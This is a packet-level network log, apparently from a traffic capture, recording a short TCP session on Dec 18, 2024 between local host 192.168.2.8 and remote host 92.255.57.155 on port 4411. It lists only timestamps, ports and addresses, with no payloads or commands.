Dec 18, 2024 08:17:08.305273056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:08.305296898 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:08.306107998 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:08.469038963 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:08.469259977 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:08.588704109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:09.799700022 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:09.919325113 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:09.919379950 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.041376114 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.041431904 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.161245108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.190277100 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.232269049 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.310103893 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.314017057 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.433995008 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.464186907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.466720104 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.500987053 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.549259901 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.625336885 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.625957966 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.777534962 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.777795076 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:10.936876059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:10.937005997 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.089829922 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.094026089 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.261079073 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.261140108 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.376787901 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.380693913 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.380744934 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.500307083 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.500390053 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.619920015 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.620024920 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.703614950 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.739617109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.739685059 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.859261990 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.859323025 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:11.931129932 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.989116907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:11.989161968 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.050422907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.108870983 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.108947992 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.164175034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.253026009 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.441910982 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.527262926 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.527379036 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.527439117 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.561602116 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.561707020 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:12.647928953 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:12.681286097 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.043015003 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.045901060 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:13.165340900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.565352917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:13.684869051 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.684990883 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:13.804517031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.846522093 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:13.966109037 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.966169119 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:13.998166084 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:13.998225927 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.118002892 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.118072033 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.157417059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.256125927 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.303599119 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.304039955 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.310148954 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.423512936 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.423614979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.428853035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.549256086 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.589271069 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.592381001 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.614964008 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.711930037 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.712225914 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.734482050 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.877016068 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:14.880009890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:14.903162956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.001399040 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.005980968 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:15.022865057 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.094348907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.095063925 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:15.169043064 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.170187950 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:15.214566946 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.289654970 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.815403938 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:15.934992075 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:15.940263987 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.059925079 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.059978962 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.179512024 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.179562092 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.248296976 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.299037933 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.302012920 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.421719074 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.421825886 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.480187893 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.541359901 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.541493893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.612787008 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.661019087 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.661125898 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.671147108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.752389908 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.821094990 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.822010994 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:16.909368992 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.941534042 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:16.941621065 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.061199903 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.205916882 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.325587034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.325655937 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.445281029 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.445353031 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.564990997 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.565057993 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.638767004 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.638837099 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.684796095 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.684864998 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.758522034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.804425001 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.875819921 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:17.900676012 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:17.950172901 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.020371914 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.020431995 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.108287096 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.140037060 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.140650034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.140722036 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.240441084 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.299293995 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.299374104 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.405006886 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.405982971 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.419063091 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.525613070 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:18.817917109 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:18.937407017 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.250638962 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.251663923 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:19.371282101 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.371335030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:19.491055012 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.491121054 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:19.610572100 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.849399090 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.850480080 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:19.970079899 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:19.970141888 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.040239096 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.040307045 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.089628935 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.089695930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.159847975 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.159949064 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.161192894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.257147074 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.258131027 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.279525042 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.377844095 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.380078077 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.459477901 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.499707937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.502019882 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.622778893 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.650444031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.651922941 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.813035011 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.813849926 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.817123890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.841667891 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.936777115 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:20.940927029 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:20.962642908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:21.049278021 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:21.101006031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:21.102061033 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:21.221719027 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:21.658956051 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:21.778470039 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:21.778562069 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:21.898216963 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:21.898305893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.017836094 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.092071056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.093023062 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.212625980 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.212703943 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.283164024 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.284346104 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.333518028 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.334059954 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.404575109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.404649973 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.454380035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.456582069 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.524199963 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.576111078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.576338053 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.695970058 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.756161928 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.757468939 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.877082109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.887451887 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:22.888430119 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:22.948714018 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.048949003 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.049932957 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:23.050075054 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:23.169820070 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.170135975 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:23.291043043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.487703085 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:23.607193947 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.731040955 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.740259886 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:23.859750032 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.922125101 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:23.941869020 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:24.061511040 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:24.768677950 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:24.888700962 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:24.888820887 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:25.008424044 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:25.201488018 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:25.205184937 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:25.324748039 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:25.392435074 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:25.421278000 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:25.571252108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.300271034 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:27.419836044 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.518660069 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:27.638264894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.638336897 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:27.733469009 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.757924080 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.757988930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:27.877594948 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.952032089 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:27.952930927 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.072506905 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.184035063 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.184904099 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.263892889 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.264024973 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.304512024 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.304627895 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.383573055 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.424187899 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.424325943 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.545783043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.545914888 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.636090994 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.665440083 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.693934917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.815572977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.826387882 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:28.827347994 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:28.988903999 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.006690979 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.007625103 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.127172947 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.127279997 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.138145924 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.138349056 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.257919073 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.257997036 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.425215960 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.425288916 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.545109987 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.545166016 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.602159023 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.664808989 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.664860964 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:29.784554958 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.893022060 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:29.939920902 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:30.084271908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.168343067 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:30.275332928 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.275491953 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:30.287868023 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.395014048 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.395129919 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:30.515410900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.847549915 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:30.941906929 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.968626976 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:30.969041109 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:31.088530064 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.378355026 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:31.499033928 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.561427116 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.562417030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:31.683125973 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.705957890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:31.811433077 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.825525999 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.825731039 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:31.945507050 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:31.945600986 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:32.065443993 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.169078112 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.170097113 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:32.290483952 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.362202883 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:32.466177940 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.482598066 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.482666016 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:32.602134943 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.657054901 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.661946058 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:32.781814098 CET	4411	49708	92.255.57.155	192.168.2.8
